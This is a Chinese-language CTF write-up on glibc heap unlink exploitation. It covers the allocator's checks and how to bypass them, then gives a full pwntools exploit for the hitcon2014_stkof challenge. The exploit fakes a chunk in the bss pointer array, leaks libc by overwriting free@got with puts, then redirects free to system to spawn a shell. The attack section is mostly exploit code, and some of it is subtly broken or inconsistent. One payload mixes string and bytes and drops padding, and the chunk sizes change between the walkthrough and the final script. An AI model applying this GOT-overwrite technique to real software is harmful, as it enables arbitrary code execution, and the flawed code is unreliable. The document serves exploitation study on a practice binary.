这题用到unlink,先了解一下unlink的原理,部分摘自ctfwiki和大康师傅的文章,大康师傅写的已经很好了,为了交日志,稍作记录。
unlink介绍
unlink:当一个bin从记录bin的双向链表中被取下时,会触发unlink。常见的比如:相邻空闲bin进行合并,malloc_consolidate时。unlink的过程如下图所示(来自CTFWIKI)主要包含3个步骤,
根据P的fd和bk获得双向链表的上一个chunk FD和下一个chunk BK
设置FD->bk=BK
设置BK->fd=FD
上方截图的是ctfwili上对unlink的解释,我看了自己的工具书也说的差不多,害怕学弟看不懂,我用自己的话来阐述一下
P->fd=FD,P->bk=BK:首先正常的堆的结构图(图中有三个chunk,BK,P,FD)
chunk里的fd和bk的作用(图片来源)
我们现在要将P块释放掉,根据fd指向上一个chunk,bk指向下一个chunk,所以链表要发生变化
FD->bk=BK :P块被释放掉了,所以FD块的下一个chunk是BK块,所以FD块的bk指针指向了BK块的Prev_size
BK->fd=FD:由于P块被释放掉了,所以BK块的上一个chunk是FD块,因此BK块的fd指针应该指向FD块
好了,到这里就完成了unlink
目前新式的unlink中的检查
// 由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致(size检查)
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size"); \
// 检查 fd 和 bk 指针(双向链表完整性检查)
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
// largebin 中 next_size 双向链表完整性检查
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr (check_action, \
"corrupted double-linked list (not small)", \
P, AV);
利用思路
要利用unlink首先要绕过前面提到的两个检查。绕过size检查需要可以修改下一个chunk->prev_size。绕过fd和bk检查需要能够控制fd和bk。
1.第一种利用思路
利用条件
- 存在UAF可以修改p的fd和bk
- 存在一个指针指向p
利用方法
- 通过UAF漏洞修改chunk0->fd=G_ptr-0x18,chunk0->bk=G_ptr-0x10,绕过fd和bk检查
- free下一个chunk,chunk0和chunk1合并,chunk0发生unlink,修改了G_ptr的值
效果
修改G_ptr=&G_ptr-0x18。如果能够对G_ptr指向的空间进行修改,则可能导致任意地址读写。
2.第二种方法思路
这种情况在做题中出现的情况比较多。因为malloc是返回的指针如果存储在bss段或者heap中则正好满足利用条件2。
利用条件
- 可以修改p的下一个chunk->pre_size和inuse位
- 存在一个指针指向chunk p的内容部分
利用方法
- 伪造fake_chunk。fakechunk->size=chunk0-0x10,可以绕过size检查。fakechunk->fd=&G_ptr-0x18,fakechunk->bk=&G_ptr-0x10,绕过fd和bk检查。
- 修改下一个chunk的prev_size=chunk_size-0x10。因为fake_chunk比chunk0小0x10。
- 修改下一个chunk的inuse位。
- free下一个堆块chunk1。fake_chunk和chunk1合并,fakechunk发生unlink,修改了G_ptr的值。
效果
修改G_ptr=&G_ptr-0x18。如果能够对G_ptr指向的空间进行修改,则可能导致任意地址读写。
了解了unlink的知识后开始做题
hitcon2014_stkof
步骤:
- 例行检查,64位程序,开启了canary和nx
- 本地试运行一下看看大概的情况,
- 64位ida载入,给程序的函数改了一下名,方便看,这是道堆,不过没有打印菜单
main(),v3=4的那个函数感觉没什么用,就不截图了
add()
del()
edit()
- 利用点在edit()
它向存储在s[v2]
的这个数组中的指针开始的地址读入n数个字符(n由我们输入,可以溢出),也就是说,只要我们能够修改s[v2]
中存的指针,就可以实现任意地址写。程序没有开启reload,又有了任意地址写,我们可以泄露libc,计算偏移。所以现在的难点就是对s[v2]
的修改。
这个数组是一个在.bss段的全局数组,程序没有pie,所有的虚拟地址已知,所以我们可以考虑用unlink方法(对 chunk 进行内存布局,然后借助 unlink 操作来达成修改指针的效果)。
下面的内容参考了ctfwiki
unlink在64位下可以实现开头地址(下面记作p)
的8个字节修改为一个指向p-0x18的指针,32位下则是p开始的4个字节修改为指向p-0xC。即
32位:*p=p-0xC
64位:*p=p-0x18
利用思路:
- 利用 unlink 修改
s[2] = &s[2]-0x18
。 - 利用
edit()
修改s[0] = free@got
地址,同时修改s[1] = puts@got
地址 - 再一次编辑,修改
s[0]=puts@plt
,实现覆写free@got,从而当再次调用 free 函数时,即可直接调用 puts 函数。这样就可以泄漏函数内容。然后free(s[1])
,执行了puts(puts@got)
通过puts泄露puts@got的值,获得libc基地址,然后就可以获得system@plt和"/bin/sh"的地址 - 再一次编辑,修改
s[2]=system@plt
,实现覆写atio@got为system@plt - 再次调用时,输入
"/bin/sh"
的地址成功拿shell
我们先连续创建几个chunk来查看堆栈排布情况,方便后续unlink操作。如下图,第一个申请的堆块并没有和后面几个连续分布。
ctfwiki上的解释是:值得注意的是,由于程序本身没有进行 setbuf 操作,所以在执行输入输出操作的时候会申请缓冲区,所以我们在前面先分配一个 chunk 来把缓冲区分配完毕,以免影响之后的操作。具体的看ctfwiki这题的IO 缓冲区问题分析。所以第一个堆块不能用来做fakechunk。
利用过程
- 利用 unlink 修改
s[2] = &s[2]-0x18
。
创建堆
alloc(0x80)# 1 用来解决IO缓冲区问题
alloc(0x80)# 2 用来构造fake_chunk与chunk3合并
alloc(0x80)# 3
alloc(0x20)# 4 防止和top chunk合并
bss =0x602140 #存放堆指针的数组
aim = bss+0x10
fd=aim - 0x18
bk=aim - 0x10
此时堆的空间分布
构造fake_chunk
payload = p64(0x0)+p64(0x81)+p64(fd)+p64(bk)+'A'*0x60
payload+= p64(0x80)+p64(0x90)
edit(2,payload)
unlink
释放第3个堆块,触发unlink。0x602150中的指针已经指向bss段的空间当中。通过修改数组中的指针来达到任意地址写的目的
- 利用
edit()
修改s[0] = free@got
地址,同时修改s[1] = puts@got
地址。
puts_plt=elf.plt['puts']
free_got=elf.got['free']
fread_got=elf.got['fread']
puts_got=elf.got['puts']
payload2 = 'a'*8+'b'*8+p64(free_got)+p64(puts_got)
edit(2, payload2)
- 再一次编辑,修改
s[0]=puts@plt
,实现覆写free@got,从而当再次调用 free 函数时,即可直接调用 puts 函数。这样就可以泄漏函数内容。然后free(s[1])
,执行了puts(puts@got)
通过puts泄露puts@got的值,获得libc基地址,然后就可以获得system@plt和"/bin/sh"的地址
payload3 = p64(puts_plt)
edit(1, payload3)
free(2)
p.recvuntil('OK\n')
puts_addr = u64(p.recvuntil('\nOK\n', drop=True).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
- 修改free_got为system,并释放内容为’/bin/sh’的堆块来getshell
payload4 = p64(system_addr)
edit(1, payload4)
edit(4, '/bin/sh\x00')
free(4)
p.interactive()
完整exp:
from pwn import *
from LibcSearcher import *
context.log_level= 'debug'
p = remote('node3.buuoj.cn',28727)
#p = process('./stkof')
libc = ELF('./libc-2.23 .so')
elf = ELF('./stkof')
def add(size):
p.sendline('1')
p.sendline(str(size))
p.recvuntil('OK\n')
def edit(idx, content):
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(len(content)))
p.send(content)
p.recvuntil('OK\n')
def free(idx):
p.sendline('3')
p.sendline(str(idx))
head = 0x602140
fd = head + 16 - 0x18
bk = head + 16 - 0x10
add(0x50) # idx 1
add(0x30) # idx 2
add(0x80) # idx 3
add(0x20) # idx 4
payload1 = p64(0)+p64(0x30)+p64(fd)+p64(bk)
payload1 = payload1.ljust(0x30,b'A')
payload1 += p64(0x30) + p64(0x90)
edit(2, payload1)
free(3)
free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
payload2 = 'a'*8+b''*8+p64(free_got)+p64(puts_got)
edit(2, payload2)
payload3 = p64(puts_plt)
edit(1, payload3)
free(2)
p.recvuntil('OK\n')
puts_addr = u64(p.recvuntil('\nOK\n', drop=True).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
payload4 = p64(system_addr)
edit(1, payload4)
edit(4, '/bin/sh\x00')
free(4)
p.interactive()
参考wp:
https://wiki.x10sec.org/pwn/linux/glibc-heap/unlink-zh/
https://blog.csdn.net/abel_big_xu/article/details/109632899